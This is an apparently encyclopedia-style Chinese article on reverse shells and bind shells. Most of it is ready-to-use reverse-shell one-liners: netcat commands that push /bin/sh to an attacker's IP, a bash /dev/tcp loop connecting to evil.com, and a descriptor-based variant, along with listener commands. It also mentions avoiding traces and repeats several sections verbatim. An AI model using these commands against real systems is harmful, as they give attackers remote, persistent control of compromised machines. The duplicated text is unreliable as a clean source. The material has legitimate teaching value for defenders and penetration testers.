反向shell(Reverse shell)是一种往远程机器传送shell命令的技术,当远程机器处在防火墙等其它东西后面时,这种技术会变得非常有用。你也许会说,“一个普通的shell或简单的SSH通道不是也能实现这些吗?”不,无法实现。在网上,我看到很多人对普通shell和反向shell之间的区别分不清。
基本介绍
- 中文名:反向shell
- 外文名:Reverse shell
反向Shell
反向shell的工作方式是远程计算机将自己的shell传送给特定的用户,而不是将shell绑定到一个连线埠上。后者在很多环境中是无法访问的。这样,你就可以对远程伺服器执行root命令。
BindShell
bind shell是用户用BASH,将shell绑定到一个本地连线埠上,这样任何人都可以在本地网路中传送命令。
反向shell经常会被黑客用来做一些不法行为,例如入侵了一台伺服器后,他们会设定一个反向shell,将来他们就能通过这个shell轻鬆的访问这台远程计算机。我相信你是不会用它来做这种事情的。
反向shell经常会被黑客用来做一些不法行为,例如入侵了一台伺服器后,他们会设定一个反向shell,将来他们就能通过这个shell轻鬆的访问这台远程计算机。我相信你是不会用它来做这种事情的。
环境要求
远程Unix主机
安装了netcat
使用NetCat实现反向shell互动
当通过shell登录到远程主机后,下面的指令能轻鬆的将shell传送到你的机器上:
nc -c /bin/sh <你的IP> <任何一个未封锁的连线埠>
你甚至能通过netcat来pipe BASH。
/bin/sh | nc <你的IP> <任何未封锁的连线埠>
然后监听这个shell:
nc -l -p <相同的连线埠> -vvv
通过BASH实现反向shell
这种技术是当远程机器上没有netcat或你想做一些非自然的事情而不想留下太重的痕迹时使用。
安装了netcat
使用NetCat实现反向shell互动
当通过shell登录到远程主机后,下面的指令能轻鬆的将shell传送到你的机器上:
nc -c /bin/sh <你的IP> <任何一个未封锁的连线埠>
你甚至能通过netcat来pipe BASH。
/bin/sh | nc <你的IP> <任何未封锁的连线埠>
然后监听这个shell:
nc -l -p <相同的连线埠> -vvv
通过BASH实现反向shell
这种技术是当远程机器上没有netcat或你想做一些非自然的事情而不想留下太重的痕迹时使用。
监听shell
nc -l -p <任何未封锁的连线埠> -vvv
先创建一个新的描述符,分配到一个网路节点。这样我们可以对这个描述符进行读写。
exec 5<>/dev/tcp/evil.com/<相同的连线埠> $ cat <&5 | while read line; do $line 2>&5 >&5; done
或另外一个反向shell:
0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的连线埠>; sh <&196 >&196 2>&196
先创建一个新的描述符,分配到一个网路节点。这样我们可以对这个描述符进行读写。
exec 5<>/dev/tcp/evil.com/<相同的连线埠> $ cat <&5 | while read line; do $line 2>&5 >&5; done
或另外一个反向shell:
0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的连线埠>; sh <&196 >&196 2>&196